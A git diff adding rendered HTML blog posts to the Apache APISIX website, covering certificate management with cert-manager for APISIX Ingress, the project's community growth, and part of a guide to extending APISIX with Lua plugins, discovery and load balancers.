+<span class="line"><span style="color:#FFA657">kubectl</span><span style="color:#A5D6FF"> expose</span><span style="color:#A5D6FF"> pod</span><span style="color:#A5D6FF"> httpbin</span><span style="color:#79C0FF"> -n</span><span style="color:#A5D6FF"> ingress-apisix</span><span style="color:#79C0FF"> --port</span><span style="color:#79C0FF"> 80</span></span></code></pre>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="yaml"><code><span class="line"><span style="color:#8B949E"># Define ApisixTls Objects</span></span>
+<span class="line"><span style="color:#7EE787">apiVersion</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">apisix.apache.org/v1</span></span>
+<span class="line"><span style="color:#7EE787">kind</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">ApisixTls</span></span>
+<span class="line"><span style="color:#7EE787">metadata</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> name</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">httpbin</span></span>
+<span class="line"><span style="color:#7EE787"> namespace</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">ingress-apisix</span></span>
+<span class="line"><span style="color:#7EE787">spec</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> hosts</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">httpbin.org</span></span>
+<span class="line"><span style="color:#7EE787"> secret</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> name</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">httpbin</span></span>
+<span class="line"><span style="color:#7EE787"> namespace</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">ingress-apisix</span></span>
+<span class="line"><span style="color:#79C0FF">---</span></span>
+<span class="line"><span style="color:#8B949E"># Define the route to access the backend</span></span>
+<span class="line"><span style="color:#7EE787">apiVersion</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">apisix.apache.org/v2beta1</span></span>
+<span class="line"><span style="color:#7EE787">kind</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">ApisixRoute</span></span>
+<span class="line"><span style="color:#7EE787">metadata</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> name</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">httpbin</span></span>
+<span class="line"><span style="color:#7EE787"> namespace</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">ingress-apisix</span></span>
+<span class="line"><span style="color:#7EE787">spec</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> http</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#7EE787">name</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">httpbin</span></span>
+<span class="line"><span style="color:#7EE787"> match</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> paths</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">/*</span></span>
+<span class="line"><span style="color:#7EE787"> hosts</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">httpbin.org</span></span>
+<span class="line"><span style="color:#7EE787"> backends</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#7EE787">serviceName</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">httpbin</span></span>
+<span class="line"><span style="color:#7EE787"> servicePort</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">80</span></span></code></pre>
+<p>Next access the service <code>apisix-gateway</code>. Note that the service is <code>NodePort</code> by default, and you can change its type as needed. If your Kubernetes cluster is hosted by the cloud vendor, consider changing it to the <code>LoadBalancer</code> type, to get an externally accessible IP.</p>
+<p>Here we map the service to local via port forwarding.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">kubectl</span><span style="color:#A5D6FF"> port-forward</span><span style="color:#79C0FF"> -n</span><span style="color:#A5D6FF"> ingress-apisix</span><span style="color:#A5D6FF"> svc/apisix-gateway</span><span style="color:#A5D6FF"> 8443:443</span></span></code></pre>
+<p>Then start configuring access.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">curl</span><span style="color:#A5D6FF"> https://httpbin.org:8443/json</span><span style="color:#79C0FF"> --resolve</span><span style="color:#A5D6FF"> 'httpbin.org:8443:127.0.0.1'</span><span style="color:#79C0FF"> -sk</span></span>
+<span class="line"><span style="color:#E6EDF3">{</span></span>
+<span class="line"><span style="color:#FFA657"> "slideshow"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> {</span></span>
+<span class="line"><span style="color:#FFA657"> "author"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "Yours Truly",</span></span>
+<span class="line"><span style="color:#FFA657"> "date"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "date of publication",</span></span>
+<span class="line"><span style="color:#FFA657"> "slides"</span><span style="color:#79C0FF">:</span><span style="color:#E6EDF3"> [</span></span>
+<span class="line"><span style="color:#E6EDF3"> {</span></span>
+<span class="line"><span style="color:#FFA657"> "title"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "Wake up to WonderWidgets!",</span></span>
+<span class="line"><span style="color:#FFA657"> "type"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "all"</span></span>
+<span class="line"><span style="color:#E6EDF3"> },</span></span>
+<span class="line"><span style="color:#E6EDF3"> {</span></span>
+<span class="line"><span style="color:#FFA657"> "items"</span><span style="color:#79C0FF">:</span><span style="color:#E6EDF3"> [</span></span>
+<span class="line"><span style="color:#FFA657"> "Why <em>WonderWidgets</em> are great"</span><span style="color:#FFA657">,</span></span>
+<span class="line"><span style="color:#FFA657"> "Who <em>buys</em> WonderWidgets"</span></span>
+<span class="line"><span style="color:#E6EDF3"> ],</span></span>
+<span class="line"><span style="color:#FFA657"> "title"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "Overview",</span></span>
+<span class="line"><span style="color:#FFA657"> "type"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "all"</span></span>
+<span class="line"><span style="color:#E6EDF3"> }</span></span>
+<span class="line"><span style="color:#E6EDF3"> ],</span></span>
+<span class="line"><span style="color:#FFA657"> "title"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "Sample Slide Show"</span></span>
+<span class="line"><span style="color:#E6EDF3"> }</span></span>
+<span class="line"><span style="color:#E6EDF3">}</span></span></code></pre>
+<p>After the above operation, you can see that the access was successful, that the certificate has been validated. Note that since the certificate is self-signed, the <code>-k</code> option needs to be added to ignore the certificate validation.</p>
+<p>In addition, if you want to rotate the certificate, remove the <code>httpbin</code> as the Secret object, and Cert Manager immediately creates a new httpbin Secret object and includes the new certificate.</p>
+<h2 id="summary">Summary</h2>
+<p>This article focuses on how to use the CERT Manager to create and manage certificates in Apache APISIX Ingress Controller. For more on Apache APISIX Ingress, <a href="https://apisix.apache.org/zh/blog/2021/10/09/apisix-ingress-techblog/">see this article</a>.</p>
+<p>Or take part in a biweekly <a href="https://github.com/apache/apisix-ingress-controller/issues/614">online discussion</a> on the Apache APISIX Ingress Project to share current project progress, best practices, and design ideas.</p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a [...]
\ No newline at end of file
diff --git a/blog/2021/10/26/apisix-ingress/index.html b/blog/2021/10/26/apisix-ingress/index.html
new file mode 100644
index 00000000000..5265b1e89c6
--- /dev/null
+++ b/blog/2021/10/26/apisix-ingress/index.html
@@ -0,0 +1,84 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>How APISIX Ingress grown from 0 to 1 | Apache APISIX</title><meta name="description" content="This article describes the growth of APISIX Ingress and the details of the enhancements and community help that APISIX Ingress has received since joining the community."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache. [...]
+<p>This article describes the growth of APISIX Ingress and the details of the enhancements and community help that APISIX Ingress has received since joining the community.</p>
+</blockquote>
+<!--truncate-->
+<h2 id="concepts">Concepts</h2>
+<h3 id="what-is-apisix-ingress">What is APISIX Ingress</h3>
+<p>In the K8s ecosystem, Ingress is a resource that represents the entry point for K8s traffic. To make it effective, an Ingress Controller is needed to listen to the Ingress resources in K8s, and to resolve the corresponding rules and actually carry the traffic.</p>
+<p>APISIX Ingress is based on the Apache APISIX Ingress Controller implementation, which extends Kubernetes and also supports the native resource definition of Ingress resource.</p>
+<p><img src="https://static.apiseven.com/202108/1635304156040-50b7a2ae-ed0c-42ac-8517-edd0715e0082.png" alt="APISIX Ingress Architechture"></p>
+<p>As you can see in the figure above, APISIX Ingress is deployed in a Kubernetes cluster and proxies requests from a Kubernetes external cluster. These requests are then reverse proxied to the Kubernetes cluster Service, which also supports pushing services directly to the Service Pod.</p>
+<h3 id="what-is-apache-apisix">What is Apache APISIX</h3>
+<p>We mentioned earlier that APISIX Ingress uses Apache APISIX as the actual data plane to carry business traffic, so what is Apache APISIX?</p>
+<p>Apache APISIX is the top open source project of the Apache Foundation and the most active open source gateway project, and is currently certified as a trusted open source project by the China Academy of Information and Communications Technology. As a dynamic, real-time, high-performance open source API gateway, Apache APISIX provides rich traffic management features such as load balancing, dynamic upstream, canary release, service meltdown, authentication, observability, and more.</p>
+<p><img src="https://static.apiseven.com/202108/1635304156053-68751f2e-40e7-4932-99a4-5b9cc8f60628.png" alt="Apache APISIX Architechture"></p>
+<p>As you can see from the figure above, Apache APISIX is divided into two parts, data plane on the left side is used to handle the reverse proxy of traffic, and control plane on the right side is responsible for the distribution of configuration.</p>
+<p>The Apache APISIX Ingress Controller uses declarative configuration, and after internal processing, the data is finally synchronized to etcd and transferred to Apache APISIX through the Admin API on the control plane to achieve configuration synchronization of the Apache APISIX cluster.</p>
+<p>More information about Apache APISIX Ingress Controller features can be found <a href="https://github.com/apache/apisix-ingress-controller">here</a>.</p>
+<h2 id="growth-of-apisix-ingress">Growth of APISIX Ingress</h2>
+<p>Most of the previous sessions have mentioned a lot about the usage scenarios or comparative advantages of Apache APISIX Ingress. This time, let’s take a different perspective and analyze the birth and development of Apache APISIX Ingress.</p>
+<h3 id="joining-in-the-apache-community">Joining in the Apache Community</h3>
+<p>I provided the first lines of code for the APISIX Ingress Controller project in 2019 and the project was officially added to the Apache community in December 2020. In terms of product updates, we released the first GA version in June this year, as well as 1.3 this past October, and expect to release 1.4 in November this year to keep the project up to date.</p>
+<p><img src="https://static.apiseven.com/202108/1635304156111-d0b82a61-b304-42ce-8d3a-2b959d3cb271.png" alt="Contributors Growth"></p>
+<p>The graph above shows the contributor growth curve for Apache APISIX Ingress Controller. Combined with the timeline, we can see that the number of contributors has been increasing at a high and steady rate since we joined the Apache community in December 2020. This reflects that Apache APISIX Ingress is gaining more and more attention from partners and is gradually being used in enterprise production environments.</p>
+<h3 id="growing-in-the-apache-community">Growing in the Apache Community</h3>
+<p>Starting with a personal project or a project incubated within a company and joining the community, the change of environment before and after inevitably leads to a change in the way the project works. By joining the community, Apache APISIX Ingress has received more support and assistance in terms of functionality and project integrity.</p>
+<h4 id="start-asynchronous-discussions">Start asynchronous discussions</h4>
+<p>After becoming an Apache Software Foundation project, the Apache APISIX Ingress Controller project became more open. For example, every feature added or modified to the product has to be discussed publicly, usually through a mailing list and a GitHub Issue.</p>
+<p><img src="https://static.apiseven.com/202108/1635304156102-8877f3da-a43d-4b94-9a84-a95743546112.png" alt="Mail List">
+<img src="https://static.apiseven.com/202108/1635304156096-c0eeb189-54f8-4ebe-b019-f41001869186.png" alt="GitHub Issue"></p>
+<p>At present, the two discussions are initiated at the same time, so that as many people as possible can judge the reasonableness of the features from their own use scenarios and use perspectives. This is no longer a personal project, but a community project, a collaborative effort involving multiple people.</p>
+<p>At the same time, the asynchronous discussion of the mailing list and GitHub Issue allowed for a more comprehensive collection of feedback from the community (both questions and answers), and facilitated the search and organization of subsequent questions on a public basis.</p>
+<h4 id="arrange-bi-weekly-meetings">Arrange Bi-weekly Meetings</h4>
+<p>In terms of interaction, Apache APISIX Ingress has taken the experience of some other communities and opened up a regular bi-weekly community meeting event.</p>
+<p>This is a new channel that we hope to make the project transparent while also providing a more life-like channel for community members to discuss issues together.</p>
+<p>Through this bi-weekly meeting, we will give you a detailed overview of what has happened in the last two weeks, what new issues have been raised and what PRs are waiting to be merged. Of course, we will also discuss any issues or suggestions for the current project.</p>
+<p>We hope this will not only be an immediate discussion, but also an interaction to share and exchange observations from multiple perspectives.</p>
+<p>For details on the bi-weekly meetings <a href="https://github.com/apache/apisix-ingress-controller/issues/614">click here</a>, you can also view the <a href="https://space.bilibili.com/551921247">replay of previous meetings</a>.</p>
+<h4 id="become-more-disciplined-with-project-details">Become More Disciplined with Project Details</h4>
+<p>Another big change since entering the Apache community is that project planning has become more standardized, whether it’s code, testing, or version releases.</p>
+<p>At the code level, the community is currently using the <a href="https://github.com/uber-go/guide">Golang Code Specification</a>, with some automated checks via Action CI.</p>
+<p>In order to ensure that the project features can be merged quickly and no new bugs are introduced, we also have requirements on the test specification. For example, during the feature development process, unit tests or e2e tests must be included. e2e tests integrate gruntwork-io/terratest and kubernetes-sigs/kind to build Kubernetes test environment.</p>
+<p>The test framework is Ginkgo, which is widely accepted by the community. The perfect test cases greatly ensure the stability of the project and reduce the maintenance cost of the project.</p>
+<p>In terms of release, we are also strictly following the Apache community release specification. Since APISIX Ingress Controller is also an extension of Kubernetes, the iterations involving CRD also follow the Kubernetes release rules.</p>
+<h2 id="benefits-of-joining-the-apache-community">Benefits of Joining the Apache Community</h2>
+<p>In addition to the above mentioned specifications on the project system, we have also received a lot of “technical feedbacks” from our partners during the process of going to the community.</p>
+<h3 id="features-improvements">Features Improvements</h3>
+<p>Most of these contributions come from community members using APISIX Ingress to solve problems or refine scenarios, such as</p>
+<ul>
+<li>Admission Hook</li>
+<li>Ingress’ own Prometheus Metrics</li>
+<li>mTLs</li>
+<li>Improvements to the canary release function</li>
+<li>Additional product documentation</li>
+</ul>
+<p>More features <a href="https://github.com/apache/apisix-ingress-controller/#readme">click here to view</a>.</p>
+<p>Also with feedback from the community, we have supported <a href="https://github.com/apache/apisix-ingress-controller/blob/master/install.md#installation">multi-platform integration features</a> in response to popular demand.</p>
+<p><img src="https://static.apiseven.com/202108/1635304156088-035cb0b0-8138-4e93-af5c-8e6ee8371f81.png" alt="multi-platform integration"></p>
+<h3 id="enriched-library-of-usage-scenarios">Enriched library of usage scenarios</h3>
+<p>While the community was enriched with features, it was also enriched with scenarios on the use of Apache APISIX Ingress.</p>
+<h4 id="scenario-1-deploying-apache-apisix-ingress-inside-a-kubernetes-cluster">Scenario 1: Deploying Apache APISIX Ingress inside a Kubernetes cluster</h4>
+<p>One of the most typical ways is to deploy within a Kubernetes cluster, and the following diagram illustrates a typical usage scenario.</p>
+<p><img src="https://static.apiseven.com/202108/1635304156077-ced688eb-9dbf-4895-b7a2-acb2f4a288b2.png" alt="Deploying Apache APISIX Ingress inside a Kubernetes cluster"></p>
+<p>After the client passes through the external LB, it is processed by Apache APISIX, which acts as a gateway and a reverse proxy and can also be deployed inside and outside the Kubernetes cluster.</p>
+<p>The above deployment scenario is to integrate APISIX Ingress Controller inside Kubernetes and synchronize the declarative configuration of Kubernetes to Apache APISIX through APISIX Ingress Controller. cluster data plane to directly proxy the subsequent Upstream business services.</p>
+<h4 id="scenario-2-deploying-apache-apisix-ingress-across-clusters">Scenario 2: Deploying Apache APISIX Ingress Across Clusters</h4>
+<p>Speech.ai, a company based in Suzhou, have provided us with a cross-cluster usage scenario, and the general flow is shown below.
+<img src="https://static.apiseven.com/202108/1635304156072-ae9a3943-e686-4629-a5b7-0b5c38301139.png" alt="Deploying Apache APISIX Ingress Across Clusters"></p>
+<p>There are two clusters in the above architecture, the formal cloud host cluster and the physical machine cluster. Apache APISIX Ingress Controller is deployed within each cluster, interacting with the Kubernetes API server while synchronizing the configuration to the Apache APISIX Admin API. APISIX clusters.</p>
+<p>In cross-cluster scenarios, access between clusters is mainly through Apache APISIX. Usually, the access between clusters is divided into private line and public network. With the health check function of Apache APISIX, the traffic can be automatically switched to other normal channels when the private line or public network transmission fails, which ensures the stability and high availability of business.</p>
+<h4 id="scenario-3-manage-mutiple-kubernetes-clusters-with-one-apache-apisix-cluster">Scenario 3: Manage Mutiple Kubernetes Clusters with one Apache APISIX Cluster</h4>
+<p><img src="https://static.apiseven.com/202108/1635304156063-c7d879c6-8dfb-4ead-a88d-b5bdc9e453d6.png" alt="Manage Mutiple Kubernetes Clusters with one Apache APISIX Cluster"></p>
+<p>This usage scenario deploys the APISIX Ingress Controller inside a Kubernetes cluster, unlike Scenario 1 where there are multiple Kubernetes clusters. However, the corresponding Apache APISIX is actually deployed outside of all the Kubernetes clusters, and the configuration of each cluster is then synchronized to the overall Apache APISIX cluster via the Apache APISIX Ingress Controller.</p>
+<p>The advantage of this is that you can fully control each Kubernetes cluster through a set of SLB Cluster, which can satisfy some enterprise architecture scenarios of multiple clusters or cross-room usage and reduce the number of forwarding on business traffic.</p>
+<h3 id="conclusion">Conclusion</h3>
+<p>Thanks to the above harvest, Apache APISIX Ingress has gained more and more attention, and more and more enterprises have started to apply APISIX Ingress Controller to their own products, such as China Mobile, Youzan, Guanwei Intelligence, and many other enterprises. We expect more enterprises to choose Apache APISIX Ingress in the future.</p>
+<h2 id="future-plan">Future Plan</h2>
+<p>Apache APISIX Ingress has also received some suggestions from many community partners in the process of continuous iteration, such as some feature planning for future products.</p>
+<h3 id="support-kubernetes-gateway-api">Support Kubernetes gateway API</h3>
+<p>The Kubernetes community has given a gateway API implementation standard to unify the design of Ingress. Once this standard is implemented, subsequent users can use the same configuration in different Ingress when using APISIX Ingress, perfectly adapting to multiple deployments.</p>
+<h3 id="support-ingress-controller-monolithic-architecture">Support Ingress Controller Monolithic Architecture</h3>
+<p>There are some voices in the community who believe that etcd, on which Apache APISIX relies, is actually a stateful service, and once stateful services are involved, additional attention needs to be paid to storage and migration related work.</p>
+<p>We hope to make Apache APISIX seamlessly scalable in a containerized cloud-native scenario, so we will follow up with deployment planning for the Ingress Controller monolithic architecture. In this scenario, Apache APISIX can be deployed separately from etcd, and declarative configurations can be listened to by the Apache APISIX Ingress Controller and synchronized to Apache APISIX.</p>
+<p>More future plans and feature-related content <a href="https://github.com/apache/apisix-ingress-controller/milestones">click here</a>.</p>
+<p>The development of the community is never-ending, and we appreciate your support of Apache APISIX Ingress Controller along the way. We hope that you will actively participate and give us feedback on any issues regarding the Apache APISIX Ingress Controller project to make the product even better.</p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li> [...]
\ No newline at end of file
diff --git a/blog/2021/10/29/extension-guide/index.html b/blog/2021/10/29/extension-guide/index.html
new file mode 100644
index 00000000000..3366f676124
--- /dev/null
+++ b/blog/2021/10/29/extension-guide/index.html
@@ -0,0 +1,158 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Apache APISIX Extensions Guide | Apache APISIX</title><meta name="description" content="This article introduces the expansion direction of Rewrite or Access, configuring service discovery, configuring load balancing, and processing responses."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/blog/2021/10/29/ [...]
+<p>This article provides an extension guide for Apache APISIX, aiming to provide users with some ideas for extending Apache APISIX.</p>
+</blockquote>
+<!--truncate-->
+<p>Apache APISIX provides more than 50 plugins, several commonly used load balancing selectors, and support for mainstream service discovery (such as Nacos and DNS). The API gateway is closely related to the internal business of the enterprise. In order to meet the business needs of the enterprise, users usually need to add some code on the basis of Apache APISIX to realize the functions required by the business. How to expand Apache APISIX has become a common pain point for many users: [...]
+<p>This article provides an extension guide for Apache APISIX, aiming to provide users with some ideas for extending Apache APISIX. Since Apache APISIX is in a stage of rapid development and the frequency of version iterations is relatively high, this article will be based on the first LTS version v2.10.0 of Apache APISIX. If your Apache APISIX version is lower than 2.10.0, you may need to make some modifications based on actual conditions. In addition, although this article only explain [...]
+<h2 id="expansion-direction-1-rewrite-or-access">Expansion Direction 1: Rewrite or Access?</h2>
+<p>Let’s start with the life cycle of the request: when a request enters Apache APISIX, it will first be processed by the method <code>http_access_phase</code>. Readers who are familiar with the concept of OpenResty phases may be a little confused: OpenResty has a total of 6 phases, which are arranged in order of execution: <code>rewrite</code>, <code>access</code>, <code>before_proxy</code>, <code>header_filter</code>, <code>body_filter</code> and <code>log</code>, why is <code>access</ [...]
+<p>The phases concept of the Apache APISIX plug-in is slightly different from the OpenResty phases concept. In order to improve the performance of Apache APISIX, the rewrite method of the APISIX plugin will run in the access phase of OpenResty. Users can still customize the logic of <code>rewrite</code> at the plugin level, but at the code level, <code>rewrite</code> is actually executed in <code>access</code>.</p>
+<p>Although both the logic of <code>rewrite</code> and the logic of <code>access</code> run in the access phase, the logic of <code>rewrite</code> will still be executed before the logic of <code>access</code>. In order to avoid the failure of subsequent plugins to execute <code>rewrite</code> and fail to execute <code>access</code>, which will cause trace omissions, trace logic must be added to <code>rewrite</code>.</p>
+<p>In addition to the order of execution, there is another difference between <code>rewrite</code> and <code>access</code>, that is, there is a logic for processing <code>consumer</code> between them:</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="plaintext"><code><span class="line"><span> plugin.run_plugin("rewrite", plugins, api_ctx)</span></span>
+<span class="line"><span> if api_ctx.consumer then</span></span>
+<span class="line"><span> ...</span></span>
+<span class="line"><span> end</span></span>
+<span class="line"><span> plugin.run_plugin("access", plugins, api_ctx)</span></span></code></pre>
+<p><code>consumer</code> represents an identity. You can control permissions for different consumers. For example, use the plugin <code>consumer-restriction</code> to implement role-based permission control, which is what everyone calls RBAC. In addition, you can also set corresponding current limiting strategies for different <code>consumer</code>.</p>
+<p>The authentication plugin in Apache APISIX (with <code>type = "auth"</code> in the plugin definition), you need to select the <code>consumer</code> in the <code>rewrite</code> stage. Here we use the <code>key-auth</code> plugin as an example:</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="plaintext"><code><span class="line"><span>local _M = {</span></span>
+<span class="line"><span> version = 0.1,</span></span>
+<span class="line"><span> priority = 2500,</span></span>
+<span class="line"><span> type = 'auth',</span></span>
+<span class="line"><span> name = plugin_name,</span></span>
+<span class="line"><span> schema = schema,</span></span>
+<span class="line"><span> consumer_schema = consumer_schema,</span></span>
+<span class="line"><span>}</span></span>
+<span class="line"><span></span></span>
+<span class="line"><span>...</span></span>
+<span class="line"><span>function _M.rewrite(conf, ctx)</span></span>
+<span class="line"><span> ...</span></span>
+<span class="line"><span> local consumer_conf = consumer_mod.plugin(plugin_name)</span></span>
+<span class="line"><span> if not consumer_conf then</span></span>
+<span class="line"><span> return 401, {message = "Missing related consumer"}</span></span>
+<span class="line"><span> end</span></span>
+<span class="line"><span></span></span>
+<span class="line"><span> local consumers = lrucache("consumers_key", consumer_conf.conf_version,</span></span>
+<span class="line"><span> create_consume_cache, consumer_conf)</span></span>
+<span class="line"><span></span></span>
+<span class="line"><span> local consumer = consumers[key]</span></span>
+<span class="line"><span> if not consumer then</span></span>
+<span class="line"><span> return 401, {message = "Invalid API key in request"}</span></span>
+<span class="line"><span> end</span></span>
+<span class="line"><span></span></span>
+<span class="line"><span> consumer_mod.attach_consumer(ctx, consumer, consumer_conf)</span></span>
+<span class="line"><span>end</span></span></code></pre>
+<p>The execution logic of the authentication plugins is similar: first obtain a certain set of parameters from the input of the users, then find the corresponding <code>consumer</code> according to the parameters, and finally append the <code>consumer_conf</code> corresponding to the plugin to <code>ctx</code>.</p>
+<p>In summary, for plugins that do not need to be executed in the early stage of the request and do not need to find the <code>consumer</code>, it is recommended to write the logic in the <code>access</code>.</p>
+<h2 id="extension-direction-2-configure-service-discovery">Extension Direction 2: Configure Service Discovery</h2>
+<p>After executing the <code>access</code>, we are about to deal with the Upstream. Normally, the Upstream node is hard-coded on the Upstream configuration. However, it is also possible to obtain nodes from the service discovery to implement discovery.</p>
+<p>Next, we will take Nacos as an example to talk about how to implement it.</p>
+<p>An Upstream configuration that dynamically acquires a node managed by Nacos is as follows.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="plaintext"><code><span class="line"><span>{</span></span>
+<span class="line"><span> "service_name": "APISIX-NACOS",</span></span>
+<span class="line"><span> "type": "roundrobin",</span></span>
+<span class="line"><span> "discovery_type": "nacos",</span></span>
+<span class="line"><span> "discovery_args": {</span></span>
+<span class="line"><span> "namespace_id": "test_ns",</span></span>
+<span class="line"><span> "group_name": "test_group"</span></span>
+<span class="line"><span> }</span></span>
+<span class="line"><span>}</span></span></code></pre>
+<p>We can see three of these important variables:</p>
+<ol>
+<li><code>discovery_type</code>: Types of Service Discovery,<code>"discovery_type": "nacos"</code> indicates service discovery using Nacos.</li>
+<li><code>service_name</code>: Service Name。</li>
+<li><code>discovery_args</code>: different discovery-specific parameters, specific parameters of Nacos include: <code>namespace_id</code> and <code>group_name</code>.</li>
+</ol>
+<p>The Lua code corresponding to Nacos discovery is located in <code>discovery/nacos.lua</code>. Open the file <code>nacos.lua</code>, we can see that several required methods are implemented in it.</p>
+<p>A discovery needs to implement at least two methods: <code>nodes</code> and <code>init_worker</code>.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="plaintext"><code><span class="line"><span>function _M.nodes(service_name, discovery_args)</span></span>
+<span class="line"><span> local namespace_id = discovery_args and</span></span>
+<span class="line"><span> discovery_args.namespace_id or default_namespace_id</span></span>
+<span class="line"><span> local group_name = discovery_args</span></span>
+<span class="line"><span> and discovery_args.group_name or default_group_name</span></span>
+<span class="line"><span></span></span>
+<span class="line"><span> ...</span></span>
+<span class="line"><span>end</span></span>
+<span class="line"><span></span></span>
+<span class="line"><span>function _M.init_worker()</span></span>
+<span class="line"><span> ...</span></span>
+<span class="line"><span>end</span></span></code></pre>
+<p>The function signature of <code>nodes</code> has already explicitly shown the query parameters used to get new nodes: <code>service_name</code> and <code>discovery_args</code>. For each request, Apache APISIX will use this set to query for the latest node. The method returns an array:</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="plaintext"><code><span class="line"><span>{</span></span>
+<span class="line"><span> {host = "xxx", port = 12100, weight = 100, priority = 0, metadata = ...},</span></span>
+<span class="line"><span> # priority and metadata are optional</span></span>
+<span class="line"><span> ...</span></span>
+<span class="line"><span>}</span></span></code></pre>
+<p>And <code>init_worker</code> is responsible for starting a timer in the background to ensure that the local node data is consistent with the data discovered by the service.</p>
+<h2 id="expansion-direction-3-configure-load-balancing">Expansion Direction 3: Configure Load Balancing</h2>
+<p>After obtaining a set of nodes, we have to decide which node to try first in accordance with the rules of load balancing. If several commonly used load balancing algorithms cannot meet your needs, you can also implement a load balancing by yourself.</p>
+<p>Let’s take load balancing with the least number of connections as an example. The corresponding Lua code is located in <code>balancer/least_conn.lua</code>. Open the file <code>least_conn.lua</code>, we can see that it implements several required methods: <code>new</code>, <code>get</code>, <code>after_balance</code> and <code>before_retry_next_priority</code>.</p>
+<ul>
+<li>
+<p><code>new</code> is responsible for doing some initialization work.</p>
+</li>
+<li>
+<p><code>get</code> is responsible for executing the logic of the selected node.</p>
+</li>
+<li>
+<p><code>after_balance</code> will run in the following two situations:</p>
+<ul>
+<li>Before each retry (when before_retry is true)</li>
+<li>After the last try</li>
+</ul>
+</li>
+<li>
+<p><code>before_retry_next_priority</code> runs before preparing to try the next set of nodes with the same priority, while the current set has been tried.</p>
+</li>
+</ul>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="plaintext"><code><span class="line"><span>function _M.new(up_nodes, upstream)</span></span>
+<span class="line"><span> ...</span></span>
+<span class="line"><span></span></span>
+<span class="line"><span> return {</span></span>
+<span class="line"><span> upstream = upstream,</span></span>
+<span class="line"><span> get = function (ctx)</span></span>
+<span class="line"><span> ...</span></span>
+<span class="line"><span> end,</span></span>
+<span class="line"><span> after_balance = function (ctx, before_retry)</span></span>
+<span class="line"><span> ...</span></span>
+<span class="line"><span> if not before_retry then</span></span>
+<span class="line"><span> if ctx.balancer_tried_servers then</span></span>
+<span class="line"><span> core.tablepool.release("balancer_tried_servers", ctx.balancer_tried_servers)</span></span>
+<span class="line"><span> ctx.balancer_tried_servers = nil</span></span>
+<span class="line"><span> end</span></span>
+<span class="line"><span></span></span>
+<span class="line"><span> return nil</span></span>
+<span class="line"><span> end</span></span>
+<span class="line"><span></span></span>
+<span class="line"><span> if not ctx.balancer_tried_servers then</span></span>
+<span class="line"><span> ctx.balancer_tried_servers = core.tablepool.fetch("balancer_tried_servers", 0, 2)</span></span>
+<span class="line"><span> end</span></span>
+<span class="line"><span></span></span>
+<span class="line"><span> ctx.balancer_tried_servers[server] = true</span></span>
